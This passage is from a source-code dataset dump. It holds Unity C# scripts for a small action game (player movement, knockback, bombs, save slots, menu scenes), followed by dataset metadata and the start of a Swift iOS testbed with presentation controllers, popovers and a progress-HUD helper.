col){\n\t\tif (col.tag == \"EnemyProyectile\") {\n\t\t\tint dmg = col.GetComponent().dmg;\n\t\t\tVector3 knockback = (transform.position - col.transform.position).normalized;\n\t\t\tVector3 knockbackDir = (knockback + Vector3.up*upForce).normalized;\n\t\t\trb.velocity = new Vector3 (0f,0f,0f);\n Debug.Log(\"Entre al trigger\");\n\n\t\t\tHit (dmg,knockbackDir);\n\t\t\tDestroy(col.gameObject);\n\t\t}\n\t}\n\n\tpublic void OnCollisionEnter(Collision col){\n\t\tif (col.gameObject.tag == \"Enemy\") {\n\t\t\tint dmg = col.gameObject.GetComponent().dmg;\n\t\t\tVector3 knockback = (transform.position - col.transform.position).normalized;\n\t\t\tVector3 knockbackDir = (knockback + Vector3.up*upForce).normalized;\n\t\t\trb.velocity = new Vector3 (0f,0f,0f);\n Debug.Log(\"Entre al collider!!!\");\n\t\t\tHit (dmg,knockbackDir);\n\t\t}\n\t}\n\n\tpublic void Hit(int dmg, Vector3 knockbackDir){\n\n\t\t\n\t\tthis.rb.AddForce(knockbackDir * knockbackForce);\n\t\tknockbackTimer = knockbackTime;\n\t\tDebug.Log(\"OMG\");\n\t\thealth-=dmg;\n\t\tif (health <= 0) {\n\t\t\tDestroy (gameObject);\n\t\t}\n\t}\n\n//}\n\n}\n/Assets/Scripts/Game/pepeplayer.cs\nusing System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\n\npublic class pepeplayer : MonoBehaviour {\n\n\tpublic PlayerMovRB parent_obj;\n\n\tpublic void respawn(){\n\t\t//parent_obj.respawn ();\n\t\t//avisar al gc que corrija la camara\n\t\ttransform.position = parent_obj.respawn ();\n\t}\n\tpublic void renewSpawn(Vector3 pos){\n\t\tparent_obj.renewSpawn (pos);\n\t}\n\tpublic void endlvl(){\n\t\t//hacer algo xD\n\t}\n\n\tvoid OnCollisionEnter(Collision hit)\n\t{\n\t\tif (hit.collider.tag == \"floor\") {\n\t\t\tparent_obj.jumpAble ();\n\t\t}else if (hit.collider.tag == \"endZone\") {\n\t\t\tendlvl ();\n\t\t\tDebug.Log (\"Lvl finalizado\");\n\t\t}\n\t}\n\tvoid OnTriggerEnter(Collider other)\n\t{\n\t\tif (other.tag == \"deadZone\") {\n\t\t\trespawn ();\n\t\t} else if (other.tag == \"checkPoint\") {\n\t\t\trenewSpawn (other.transform.position);\n\t\t\tDebug.Log (\"Entrando al new check\");\n\t\t} \n\t}\n}\n/Assets/Scripts/Game/PlayerMovRB.cs\nusing System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\n\npublic class PlayerMovRB : MonoBehaviour {\n\n\t\t[Header(\"Visuals\")]\n\t\tpublic GameObject modelPlayer;\n\n\t\t[Header(\"Attributes\")]\t\n\t\tpublic int health = 5;\n\n\t\t[Header(\"Movement\")]\n\t\tpublic float moveVelocity;\n\t\tpublic float jumpVelocity;\n\t\tpublic float rotatingSpeed;\n\t\tpublic float throwingSpeed;\n\t\tpublic float knockbackForce;\n\t\tpublic float knockbackTime;\n\t\tpublic float upForce;\n\t\tprivate float knockbackTimer;\n\n\n\t\t\n\t\t[Header(\"Equipment\")]\n\t\tpublic Sword sword;\n\t\tpublic Bow bow;\n\t\tpublic int arrowAmount = 15;\n\t\tpublic GameObject bombPrefab;\n\t\tpublic int bombAmount;\n\n\t\t[Header(\"Others\")]\n\t\tprivate bool canJump;\n\t\tprivate Quaternion playerModelRotation;\n\t\tprivate Transform lastSpawn;\n\t\tpublic Transform firstSpawn;\n\t\tprivate Rigidbody rb;\n\n\n\n\t\t// Use this for initialization\n\t\tvoid Start () {\n\t\t\tcanJump = true;\n\t\t\tlastSpawn = firstSpawn;\n\t\t\trb = transform.GetComponent ();\n\t\t\tplayerModelRotation = modelPlayer.GetComponent ().rotation;\n\t\t\tbow.gameObject.SetActive (false);\n\t\t}\n\n\t\tvoid Update(){\n\t\t\t\n\t\t\tRaycastHit hit;\n\t\t\tif(Physics.Raycast(transform.position,Vector3.down,out hit,1.01f)){\n\t\t\t\tif (hit.collider.tag == \"floor\") {\n\t\t\t\t\tthis.canJump = true;\n\t\t\t\t}\n\t\t\t}\n\t\t\tmodelPlayer.transform.rotation = Quaternion.Lerp (modelPlayer.transform.rotation, playerModelRotation, rotatingSpeed * Time.deltaTime);\n\t\t\tif(knockbackTimer>0f){\n\t\t\t\tknockbackTimer-=Time.deltaTime;\n\t\t\t} else{\n\t\t\t\tprocessInput ();\n\t\t\t}\n\t\t\t\n\n\n\t\t}\n\n\t\tprivate void processInput(){\n\n\t\trb.velocity = new Vector3 (0f,rb.velocity.y,0f);\n\n\t\t\tif (Input.GetKey (KeyCode.LeftArrow)) {\n\t\t\t\trb.velocity = new Vector3 (-moveVelocity, rb.velocity.y, rb.velocity.z);\n\t\t\t\tplayerModelRotation = Quaternion.Euler (0f, 270f, 0f);\n\t\t\t}\n\t\t\tif (Input.GetKey (KeyCode.RightArrow)) {\n\t\t\t\trb.velocity = new Vector3 (moveVelocity, rb.velocity.y, rb.velocity.z);\n\t\t\t\tplayerModelRotation = Quaternion.Euler (0f, 90f, 0f);\n\t\t\t}\n\t\t\tif (Input.GetKey (KeyCode.UpArrow)) {\n\t\t\t\trb.velocity = new Vector3 (rb.velocity.x, rb.velocity.y, moveVelocity);\n\t\t\t\tplayerModelRotation = Quaternion.Euler (0f, 0f, 0f);\n\t\t\t}\n\t\t\tif (Input.GetKey (KeyCode.DownArrow)) {\n\t\t\t\trb.velocity = new Vector3 (rb.velocity.x, rb.velocity.y, -moveVelocity);\n\t\t\t\tplayerModelRotation = Quaternion.Euler (0f, 180f, 0f);\n\t\t\t}\n\n\t\t\tif (Input.GetKeyDown (KeyCode.Space) && canJump) {\n\t\t\t\trb.velocity = new Vector3 (rb.velocity.x, jumpVelocity, rb.velocity.z);\n\t\t\t\tcanJump = false;\n\n\n\t\t\t}\n\n\n\t\t\t//Checking for equipment interaction\n\n\t\t\tif (Input.GetKeyDown (KeyCode.X)) {\n\t\t\t\tsword.Attack ();\n\t\t\t\tsword.gameObject.SetActive (true);\n\t\t\t\tbow.gameObject.SetActive (false);\n\t\t\t}\n\t\t\tif (Input.GetKeyDown (KeyCode.Z)) {\n\t\t\t\tthrowBomb ();\n\t\t\t}\n\t\t\tif (Input.GetKeyDown (KeyCode.C)) {\n\t\t\t\tif (arrowAmount <= 0) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tbow.Attack ();\n\t\t\t\tbow.gameObject.SetActive (true);\n\t\t\t\tsword.gameObject.SetActive (false);\n\t\t\t\tarrowAmount--;\n\t\t\t}\n\t\t}\n\t\t\n\t\tprivate void throwBomb(){\n\t\tif (bombAmount <= 0) {\n\t\t\treturn;\n\t\t}\n\t\t\tvar b = Instantiate (bombPrefab);\n\t\t\tb.transform.position = transform.position + modelPlayer.transform.forward; //* throwingSpeed;\n\t\t\tVector3 throwingDir = (modelPlayer.transform.forward + Vector3.up).normalized;\n\t\t\tb.GetComponent ().AddForce (throwingDir * throwingSpeed);\n\t\t\tbombAmount--;\n\t\t}\n\n\t\t \n\t\tpublic Vector3 respawn(){\n\t\t\ttransform.position = lastSpawn.position;\n\t\t\treturn lastSpawn.position;\n\t\t}\n\t\tpublic void jumpAble(){\n\t\t\tcanJump = true;\n\t\t}\n\n\t\tpublic void renewSpawn(Vector3 newSpawn){\n\t\t\tlastSpawn.position = newSpawn;\n\t\t}\n\n\t\t\n\n\tpublic void OnTriggerEnter(Collider col){\n\t\tif (col.tag == \"EnemyProyectile\") {\n\t\t\tint dmg = col.GetComponent().dmg;\n\t\t\tVector3 knockback = (transform.position - col.transform.position).normalized;\n\t\t\tVector3 knockbackDir = (knockback + Vector3.up*upForce).normalized;\n\t\t\trb.velocity = new Vector3 (0f,0f,0f);\n\n\t\t\tHit (dmg,knockbackDir);\n\t\t\tDestroy(col.gameObject);\n\t\t}\n\t}\n\n\tpublic void OnCollisionEnter(Collision col){\n\t\tif (col.gameObject.tag == \"Enemy\") {\n\t\t\tint dmg = col.gameObject.GetComponent().dmg;\n\t\t\tVector3 knockback = (transform.position - col.transform.position).normalized;\n\t\t\tVector3 knockbackDir = (knockback + Vector3.up*upForce).normalized;\n\t\t\trb.velocity = new Vector3 (0f,0f,0f);\n\n\t\t\tHit (dmg,knockbackDir);\n\t\t}\n\t}\n\n\tpublic void Hit(int dmg, Vector3 knockbackDir){\n\n\t\t\n\t\tthis.rb.AddForce(knockbackDir * knockbackForce);\n\t\tknockbackTimer = knockbackTime;\n\t\tDebug.Log(\"OMG\");\n\t\thealth-=dmg;\n\t\tif (health <= 0) {\n\t\t\tDestroy (gameObject);\n\t\t}\n\t}\n\n}\n/Library/Collab/Download/Assets/Plugins/DbPartidas.cs\nusing System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\n\npublic class DbPartidas : MonoBehaviour {\n\n // Use this for initialization\n int id;\n string nombrePartida;\n string playerState;\n string fecha;\n\n //Vector3 position;\n string position;\n int exp;\n int lifes;\n int nArrows;\n int nBombs;\n string achievements;\n\n public DbPartidas(int id, string nombrePartida, string playerState, string fecha){\n this.id = id;\n this.nombrePartida = nombrePartida;\n this.playerState = playerState;\n this.fecha = fecha;\n\n parsePlayerState();\n\n\n\n }\n\n private void parsePlayerState(){\n //string myString = \"12,Apple,20\";\n Debug.Log(playerState);\n string[] subStrings = playerState.Split(':');\n /*\n this.position = subStrings[0];\n this.exp = int.Parse(subStrings[1]); \n this.lifes = int.Parse(subStrings[2]);\n this.nArrows = int.Parse(subStrings[3]);\n this.nBombs = int.Parse(subStrings[4]);\n this.achievements = subStrings[5];*/\n }\n\n\n\t\n\t//sabe leer sus datos...\n\n}\n/Assets/Scripts/Game/Bomb.cs\nusing System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\n\npublic class Bomb : MonoBehaviour {\n\n\t// Use this for initialization\n\n\tpublic float duration;\n\tpublic float radius;\n\tpublic float explosionDuration;\n\tpublic GameObject explosionModel;\n\n\n\tprivate float explosionTimer;\n\tprivate bool exploded;\n\n\tvoid Start () {\n\t\texplosionTimer = duration;\n\t\texplosionModel.SetActive(false);\n\t\texplosionModel.transform.localScale = Vector3.one * radius;\n\t\texploded = false;\n\t}\n\t\n\t// Update is called once per frame\n\tvoid Update () {\n\t\texplosionTimer -= Time.deltaTime;\n\t\tif (explosionTimer <= 0f && !exploded) {\n\t\t\texploded = true;\n\t\t\tCollider[] colliders =Physics.OverlapSphere (transform.position, radius);\n\n\t\t\tforeach (Collider c in colliders) {\n\t\t\t\tDebug.Log (\"Ha chocado el tio con \" + c.name+\"\\n\");\n\t\t\t\tif (((c.tag == \"Enemy\") || (c.tag == \"enemyWeakPoint\")) && c.GetComponent() != null) {\n\t\t\t\t\tc.GetComponent ().Hit ();\n\t\t\t\t}\n\t\t\t}\n\t\t\tStartCoroutine (doExplosion ());\n\t\t}\n\t}\n\n\n\tprivate IEnumerator doExplosion(){\n\t\texplosionModel.SetActive(true);\n\t\tyield return new WaitForSeconds (explosionDuration);\n\t\texplosionModel.SetActive(false);\n\t\tDestroy (this.gameObject);\n\t}\n\n}\n/Library/Collab/Download/Assets/Plugins/loaderGame.cs\nusing System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\nusing UnityEngine.UI;\n\npublic class loaderGame : MonoBehaviour {\n\n // Use thi public GameObject[] partida;\n public SQLCommands bdein;\n public GameObject[] partidasBox;\n\t\n void Start()\n {\n /*\n foreach(GameObject obj in partidasBox){\n obj.SetActive(false);\n }\n\n\n int i = 0;\n //establecer conexión a la base de datos y preguntar por todas las partidas (3 max)\n foreach (DbPartidas db in bdein.dbPartidas)\n {\n partidasBox[i].SetActive(true);\n partidasBox[i].GetComponentInChildren().text = \"hola\";\n Debug.Log(\"HIII entre aqui!\");\n }*/\n }\n}\n\n/Assets/Scripts/Menu/MenuSceneManager.cs\nusing System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\nusing UnityEngine.SceneManagement;\n\npublic class MenuSceneManager : MonoBehaviour {\n\n\t// Use this for initialization\n\tpublic void newGame () {\n\t\tSceneManager.LoadScene(\"Terrainy\");\n\t}\n\n public void loadGame(){\n SceneManager.LoadScene(\"Loading\");\n }\n\n public void loadGameFromGame(){\n //cerrarDb_ins();\n SceneManager.LoadScene(\"Loading\");\n }\n\n public void mainMenu(){\n SceneManager.LoadScene(\"MainMenu\");\n }\n\n public void testing(){\n Debug.Log(\"works\");\n }\n\n public void exitGame(){\n Application.Quit();\n }\n\t\n\t\n}\n/Assets/Scripts/Menu/DbPartidas.cs\nusing System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\n\npublic class DbPartidas : MonoBehaviour {\n\n // Use this for initialization\n public GameObject loadedData;\n\n public int id;\n public string nombrePartida;\n public string playerState; //statePlayer= pos:exp:vidas:flechas:bombas:logros\n //-> 0f,0f,0f:120:3:10:4:ninguno -> 6 campiños\n public string fecha;\n\n public bool ready;\n\n //Vector3 position;\n\n public Vector3 position;\n public int exp;\n public int health;\n public int nArrows;\n public int nBombs;\n public string achievements;\n\n private void Start()\n {\n DontDestroyOnLoad(this.gameObject);\n }\n\n public void construct(int id, string nombrePartida, string playerState, string fecha)\n {\n this.id = id;\n this.nombrePartida = nombrePartida;\n this.playerState = playerState;\n this.fecha = fecha;\n\n \n // parsePlayerState();\n\n\n\n\n }\n\n public void parsePlayerState(){\n //string myString = \"12,Apple,20\";\n Debug.Log(playerState);\n\n\n \n\n }\n\n public Vector3 obtainPos(string pos_str){\n string[] subStrings = pos_str.Split(',');\n return new Vector3(float.Parse(subStrings[0]),float.Parse(subStrings[1]),float.Parse(subStrings[2]));\n }\n public void debug(string datitos){\n\n Debug.Log(/*\"Mi id es: \" + this.id +*/ \"\\n\" +\n \"Mi nombre partida es: \" + this.nombrePartida + \"\\n\" +\n \"Mi player state es: \" + this.playerState + \"\\n\" +\n \"Mi fecha es: \" + this.fecha +\"\\n\"+\n \"y mis datos extraidos son\"+datitos);\n\n }\n\n public string infoPartida(){\n return /*this.id + \"-\" */ this.nombrePartida + \"-\" + this.fecha;\n }\n\n public void saveData(){\n DbPartidas dbp = loadedData.GetComponent();\n //dbp.id = this.id;\n dbp.nombrePartida = \"PartidaY\";//this.nombrePartida;\n dbp.playerState = this.playerState;\n dbp.fecha = this.fecha;\n //parsePlayerState();\n }\n\n\n\n\n\t\n\t//sabe leer sus datos...\n\n}\n"},"directory_id":{"kind":"string","value":"e0ee30f7797c94e3040bcce3d1a7757cb74b8c43"},"languages":{"kind":"list like","value":["Markdown","C#"],"string":"[\n \"Markdown\",\n \"C#\"\n]"},"num_files":{"kind":"number","value":34,"string":"34"},"repo_language":{"kind":"string","value":"C#"},"repo_name":{"kind":"string","value":"Kindraman/Ku"},"revision_id":{"kind":"string","value":"8a5600b5d97ef3c0b9091ff29db2cb2a6d338436"},"snapshot_id":{"kind":"string","value":"3d25062edba56a2aff7ed5a0b8fae18438b87483"}}},{"rowIdx":134,"cells":{"branch_name":{"kind":"string","value":"refs/heads/main"},"text":{"kind":"string","value":"//\n// LazyObject.swift\n// SwiftTestbed\n//\n// Created by firefly on 2020/11/13.\n//\n\nimport Foundation\n\nstruct Object {\n var x = 1\n var y = 2\n var z = 3\n}\n\nstruct LazyObject {\n lazy var x = 1\n lazy var y = 2\n lazy var z = 3\n}\n\nenum Week {\n case sunday\n case monday\n case tuesday(Int)\n case wednesday\n case thursday\n case friday\n case saturday\n}\n//\n// DimPresentationVC.swift\n// SwiftTestbed\n//\n// Created by firefly on 2021/1/16.\n//\n\nimport Foundation\nimport UIKit\n\nclass DimPresentationVC: UIPresentationController {\n \n var dimmingView: UIView = {\n let view = UIView(frame: CGRect(origin: CGPoint.zero, size: UIScreen.main.bounds.size))\n view.backgroundColor = UIColor.black.withAlphaComponent(0.3)\n return view\n }()\n \n public override var frameOfPresentedViewInContainerView: CGRect {\n \n let width = UIScreen.main.bounds.width - 2 * 24\n let height = width / 327 * 287\n\n let y = UIScreen.main.bounds.height * 0.4 - height / 2\n let frame = CGRect(x: 24, y: y, width: width, height: height)\n \n return frame\n }\n \n override func presentationTransitionWillBegin() {\n print(\"\\(type(of: self)).\\(#function)\")\n self.containerView?.addSubview(dimmingView)\n dimmingView.addSubview(self.presentedViewController.view)\n \n let transitionCoordinator = self.presentingViewController.transitionCoordinator\n dimmingView.alpha = 0\n transitionCoordinator?.animate(alongsideTransition: { (content) in\n self.dimmingView.alpha = 1\n }, completion: { (context) in\n print(\"dimmingView alpha = 1\")\n })\n }\n override func presentationTransitionDidEnd(_ completed: Bool) {\n print(\"\\(type(of: self)).\\(#function)\")\n }\n \n override func dismissalTransitionWillBegin() {\n print(\"\\(type(of: self)).\\(#function)\")\n let transitionCoordinator = self.presentingViewController.transitionCoordinator\n dimmingView.alpha = 1\n transitionCoordinator?.animate(alongsideTransition: { (content) in\n self.dimmingView.alpha = 0\n }, completion: { (context) in\n print(\"dimmingView alpha = 0\")\n })\n }\n override func dismissalTransitionDidEnd(_ completed: Bool) {\n print(\"\\(type(of: self)).\\(#function)\")\n if !completed {\n dimmingView.removeFromSuperview()\n }\n }\n \n deinit {\n print(\"\\(type(of: self)).\\(#function)\")\n }\n}\n//\n// PopoverVC.swift\n// SwiftTestbed\n//\n// Created by firefly on 2020/12/8.\n//\n\nimport Foundation\nimport UIKit\n\nclass PopoverVC: BaseViewController {\n \n lazy var addItem: UIBarButtonItem = {\n let item = UIBarButtonItem(barButtonSystemItem: .add, target: self, action: #selector(add))\n return item\n }()\n \n var btn: UIButton!\n var items: IteamsVC!\n \n override func viewDidLoad() {\n super.viewDidLoad()\n \n addBarButtonItems()\n \n addButton()\n \n }\n \n func addBarButtonItems() {\n navigationItem.rightBarButtonItem = addItem\n }\n \n func addPopover() {\n let items = IteamsVC()\n items.preferredContentSize = CGSize(width: 80, height: 160)\n items.modalPresentationStyle = .popover\n \n let pop = items.popoverPresentationController\n pop?.delegate = self\n pop?.barButtonItem = addItem\n \n self.present(items, animated: true, completion: nil)\n \n }\n \n @objc func add() {\n print(\"\\(type(of: self)).\\(#function)\")\n \n addPopover()\n }\n \n func addButton() {\n btn = UIButton(frame: CGRect(x: 60, y: 100, width: 100, height: 60))\n btn.addTarget(self, action: #selector(popButton), for: UIControl.Event.touchUpInside)\n btn.backgroundColor = UIColor.green\n view.addSubview(btn)\n \n // 创建vc\n items = IteamsVC()\n // 设置弹出框的大小\n items.preferredContentSize = CGSize(width: 80, height: 160)\n // 设置显示的样式为弹出框\n items.modalPresentationStyle = .popover\n }\n \n @objc func popButton() {\n print(\"\\(type(of: self)).\\(#function)\")\n \n // 获取vc的展示vc 并 设置该展示vc\n let pop = items.popoverPresentationController\n pop?.delegate = self\n pop?.sourceView = btn\n pop?.sourceRect = CGRect(x: 90, y: 50, width: 10, height: 10)\n pop?.backgroundColor = UIColor.orange\n print(pop?.popoverLayoutMargins as Any)\n // 显示vc\n self.present(items, animated: true, completion: nil)\n }\n \n \n}\n\n// 提供该方法,则不能呈现弹出框样式\nextension PopoverVC: UIPopoverPresentationControllerDelegate {\n func adaptivePresentationStyle(for controller: UIPresentationController) -> UIModalPresentationStyle {\n return .none\n }\n}\n\n\n//\n// PayPasswordVC.swift\n// SwiftTestbed\n//\n// Created by firefly on 2021/1/16.\n//\n\nimport Foundation\nimport UIKit\n\n\nclass PayPasswordVC: BaseViewController {\n \n var label: UILabel!\n \n override func viewDidLoad() {\n super.viewDidLoad()\n print(\"\\(type(of: self)).\\(#function)\")\n creatUI()\n configUI()\n addUI()\n constraintUI()\n }\n \n func creatUI() {\n label = UILabel()\n \n }\n func configUI() {\n view.backgroundColor = .green\n view.layer.cornerRadius = 10\n view.layer.masksToBounds = true\n }\n func addUI() {\n \n }\n func constraintUI() {\n \n }\n \n override func touchesBegan(_ touches: Set, with event: UIEvent?) {\n self.dismiss(animated: true, completion: nil)\n }\n}\n\nextension PayPasswordVC: UIViewControllerTransitioningDelegate {\n func presentationController(forPresented presented: UIViewController, presenting: UIViewController?, source: UIViewController) -> UIPresentationController? {\n print(\"\\(type(of: self)).\\(#function)\")\n let presentationVC = DimPresentationVC(presentedViewController: presented, presenting: presenting)\n return presentationVC\n }\n}\n//\n// LazyLoadingVC.swift\n// SwiftTestbed\n//\n// Created by firefly on 2020/11/13.\n//\n\nimport Foundation\n\nimport UIKit\n\nclass LazyLoadingVC: BaseViewController {\n \n override func viewDidLoad() {\n super.viewDidLoad()\n \n var lazyObject = LazyObject()\n var object = Object()\n \n title = \"懒加载\"\n if #available(iOS 11, *) {\n navigationItem.backButtonTitle = \"\"\n }\n \n print(\"object内存结构\")\n print(MemoryLayout.size(ofValue: object))\n print(MemoryLayout.alignment(ofValue: object))\n print(MemoryLayout.stride(ofValue: object))\n print(\"lazyObject内存结构\")\n print(MemoryLayout.size(ofValue: lazyObject))\n print(MemoryLayout.alignment(ofValue: lazyObject))\n print(MemoryLayout.stride(ofValue: lazyObject))\n \n print(\"lazyObject:\", lazyObject)\n print(\"x:\", lazyObject.x)\n print(\"y:\", lazyObject.y)\n print(\"z:\", lazyObject.z)\n \n print(\"lazyObject.z type:\", type(of: lazyObject.z))\n print(\"lazyObject内存结构\")\n print(MemoryLayout.size(ofValue: lazyObject))\n print(MemoryLayout.alignment(ofValue: lazyObject))\n print(MemoryLayout.stride(ofValue: lazyObject))\n \n print(\"end\")\n }\n \n}\n//\n// Table.swift\n// SwiftTestbed\n//\n// Created by firefly on 2020/12/8.\n//\n\nimport Foundation\n\nclass Table {\n var dataArray = [T]()\n}\n//\n// Team.swift\n// SwiftTestbed\n//\n// Created by firefly on 2020/11/16.\n//\n\nimport Foundation\n\nstruct Person: Codable {\n var id: Int\n var name: String\n var age: Int\n var isMale: Bool\n}\n\nstruct Team: Codable {\n var master: Person\n var members: [Person]\n}\n\n\n//\n// File.swift\n// SwiftTestbed\n//\n// Created by itang on 2021/5/15.\n//\n\nimport Foundation\nimport UIKit\n\n/*\n 目标:\n 1、感知 ViewController 已经dismiss了\n 2、感知 ViewController 的返回按钮被点击了,然后决定是否要pop\n \n 显示:\n 1、在viewDidDisappear(_ animated:)中实现\n 2、\n */\nclass BackActionVC: BaseViewController {\n \n override func touchesBegan(_ touches: Set, with event: UIEvent?) {\n navigationController?.pushViewController(UIViewController(), animated: true)\n }\n \n override func viewDidLoad() {\n super.viewDidLoad()\n \n let popBarBtn = UIBarButtonItem(title: \"pop\", style: .plain, target: self, action: #selector(pop))\n let presentBarBtn = UIBarButtonItem(title: \"present\", style: .plain, target: self, action: #selector(presentVC))\n\n navigationItem.rightBarButtonItems = [popBarBtn, presentBarBtn]\n\n \n // 自定义左侧按钮后,视图控制器的返回手势就失效了\n// navigationItem.leftBarButtonItem = UIBarButtonItem(title: \"back\", style: .plain, target: self, action: #selector(pop))\n\n }\n \n @objc func pop() {\n /*\n pop vc时,不会触发navigationBar(_:shouldPop:)\n 右滑返回视图控制器时,不会触发navigationBar(_:shouldPop:)\n */\n navigationController?.popViewController(animated: true)\n }\n @objc func presentVC() {\n /*\n pop vc时,不会触发navigationBar(_:shouldPop:)\n 右滑返回视图控制器时,不会触发navigationBar(_:shouldPop:)\n */\n let vc = PVC()\n vc.modalPresentationStyle = .fullScreen\n self.present(vc, animated: true)\n }\n}\n//\n// SearchResultVC.swift\n// SwiftTestbed\n//\n// Created by itang on 2020/12/6.\n//\n\nimport Foundation\nimport UIKit\n\nclass SearchResultVC: BaseViewController, UISearchResultsUpdating {\n override func viewDidLoad() {\n super.viewDidLoad()\n \n view.backgroundColor = UIColor.orange\n// 用UIPresentationController来写一个简洁漂亮的底部弹出控件\n// UIPopoverPresentationController\n// UIPresentationController\n }\n \n func updateSearchResults(for searchController: UISearchController) {\n print(\"\\(type(of: self)).\\(#function)\")\n let frame = searchController.view.frame\n let newFrame = CGRect(x: 0, y: 100, width: frame.width, height: frame.height - 100)\n view.frame = newFrame\n view.isHidden = false\n }\n \n deinit {\n print(\"\\(type(of: self)).\\(#function)\")\n }\n}\n//\n// PVC.swift\n// SwiftTestbed\n//\n// Created by itang on 2021/5/16.\n//\n\nimport Foundation\nimport UIKit\n\nclass PVC: BaseViewController {\n override func viewDidLoad() {\n super.viewDidLoad()\n title = \"被弹出的控制器A\"\n view.backgroundColor = .orange\n \n let btn = UIButton(frame: CGRect(origin: .zero, size: CGSize(width: 100, height: 60)))\n btn.addTarget(self, action: #selector(presentVC), for: .touchUpInside)\n btn.setTitle(\"present VC\", for: .normal)\n btn.center = view.center\n btn.backgroundColor = .gray\n view.addSubview(btn)\n }\n override func touchesBegan(_ touches: Set, with event: UIEvent?) {\n self.dismiss(animated: true) {\n print(\"PVC did dismiss\")\n }\n }\n \n @objc func presentVC() {\n let vc = BaseViewController()\n vc.modalPresentationStyle = .fullScreen\n present(vc, animated: true)\n }\n}\n//\n// HUD.swift\n// SwiftTestbed\n//\n// Created by firefly on 2021/1/28.\n//\n\nimport Foundation\nimport UIKit\nimport MBProgressHUD\n\n/// 状态指示器\n/// 可显示在window上,可显示在指定的view上\n/// 对于显示结果的hud,文字不宜过长,否则很丑。(待优化)\n/// 要在主线中操作:显示、切换、隐藏\nclass HUD {\n \n // 文本类的hud在父视图上的位置\n enum Position {\n case top // 在顶部\n case middle // 在中间\n case bottom // 在底部\n }\n \n //MARK: - 显示指示器\n @discardableResult\n static func showIndicator(message: String = \"\") -> MBProgressHUD {\n let window = UIApplication.shared.windows.last\n let hud = showIndicator(message: message, in: window!)\n \n return hud\n }\n \n @discardableResult\n static func showIndicator(message: String = \"\", in view: UIView) -> MBProgressHUD {\n let hud = MBProgressHUD.showAdded(to: view, animated: true)\n hud.mode = .customView\n \n hud.label.text = message\n hud.isSquare = true\n \n // dim\n hud.backgroundView.style = .solidColor\n hud.backgroundView.color = UIColor(white: 0, alpha: 0.1)\n \n // 隐藏时从父视图上移除\n hud.removeFromSuperViewOnHide = true;\n \n let indefinateView = SVIndefiniteAnimatedView(frame: CGRect(x: 0, y: 0, width: 80, height: 80))\n\n indefinateView.strokeColor = .white;\n indefinateView.strokeThickness = 2\n indefinateView.radius = 20\n \n hud.customView = indefinateView\n \n // 文本颜色\n hud.contentColor = .white\n // 背景色\n hud.bezelView.style = .solidColor\n hud.bezelView.backgroundColor = .black\n \n return hud\n }\n \n //MARK: - 让指示器消失\n static func hideIndicator(parentViewOrHud: UIView, animated: Bool = true) {\n var optionalHud: MBProgressHUD?\n if parentViewOrHud is MBProgressHUD {\n optionalHud = parentViewOrHud as? MBProgressHUD\n } else {\n optionalHud = MBProgressHUD.forView(parentViewOrHud)\n }\n \n guard let hud = optionalHud else {\n return\n }\n \n hud.hide(animated: animated)\n }\n \n // MARK: - 显示结果: 成功、失败、警告\n \n \n // MARK: 转换到结果视图\n static func switchToSuccess(text: String, for view: UIView, duration: TimeInterval = 3) {\n switchToResult(.success, text: text, for: view)\n }\n static func switchToFailure(text: String, for view: UIView, duration: TimeInterval = 3) {\n switchToResult(.failure, text: text, for: view)\n }\n static func switchToWaring(text: String, for view: UIView, duration: TimeInterval = 3) {\n switchToResult(.warning, text: text, for: view)\n }\n \n /// 从状态指示器切换到结果\n /// - parameter resultType: 结果类型:成功、失败、警告\n /// - parameter text: 提示信息\n /// - parameter for: 要切换的视图,可能是状态指示器的父视图,可可能是状态指示器本身\n /// - parameter duration: 切换后,结果视图显示的时间(单位为秒),默认为3s\n\n static func switchToResult(_ resultType: ResultType, text: String, for view: UIView, duration: TimeInterval = 3) {\n \n var optionalHud: MBProgressHUD?\n if view is MBProgressHUD {\n optionalHud = view as? MBProgressHUD\n } else {\n optionalHud = MBProgressHUD.forView(view)\n }\n \n guard let hud = optionalHud else {\n return\n }\n // 切换模式\n hud.mode = .customView\n // 切换消息\n hud.label.text = text\n // 切换到指定的结果\n let image = HUD.resultImage(resultType)\n hud.customView = UIImageView(image: image)\n \n hud.hide(animated: true, afterDelay: duration)\n }\n \n // MARK: 显示在window上\n static func showSuccess(text: String, duration: TimeInterval = 3) {\n showResult(.success, text: text, duration: duration)\n }\n static func showFailure(text: String, duration: TimeInterval = 3) {\n showResult(.failure, text: text, duration: duration)\n }\n static func showWarning(text: String, duration: TimeInterval = 3) {\n showResult(.warning, text: text, duration: duration)\n }\n \n static func showResult(_ resultType: ResultType, text: String, duration: TimeInterval = 3) {\n guard let window = UIApplication.shared.windows.last else {\n return\n }\n showResult(resultType, text: text, in: window, duration: duration)\n }\n \n // MARK: 显示指定视图上\n static func showSuccess(text: String, in view: UIView, duration: TimeInterval = 3) {\n showResult(.success, text: text, in: view, duration: duration)\n }\n static func showFailure(text: String, in view: UIView, duration: TimeInterval = 3) {\n showResult(.failure, text: text, in: view, duration: duration)\n }\n static func showWarning(text: String, in view: UIView, duration: TimeInterval = 3) {\n showResult(.warning, text: text, in: view, duration: duration)\n }\n /*\n 在指定视图上显示指定时间的指定文字和结果\n */\n enum ResultType {\n case success\n case failure\n case warning\n }\n static func showResult(_ resultType: ResultType, text: String, in view: UIView, duration: TimeInterval = 3) {\n let hud = MBProgressHUD.showAdded(to: view, animated: true)\n hud.mode = .customView\n hud.label.text = text\n \n // 自定义视图\n let image = resultImage(resultType)\n hud.customView = UIImageView(image: image)\n \n // 保持正方形\n// hud.isSquare = true\n\n // 文本颜色\n hud.contentColor = .white\n // 背景色\n hud.bezelView.style = .solidColor\n hud.bezelView.backgroundColor = .black\n \n hud.hide(animated: true, afterDelay: duration)\n }\n \n static func resultImage(_ resultType: ResultType) -> UIImage? {\n let image: UIImage?\n \n switch resultType {\n case .success:\n image = UIImage(named: \"Checkmark\")\n case .failure:\n image = UIImage(named: \"error\")\n case .warning:\n image = UIImage(named: \"info\")\n }\n \n return image?.withRenderingMode(.alwaysTemplate)\n }\n \n // MARK: - 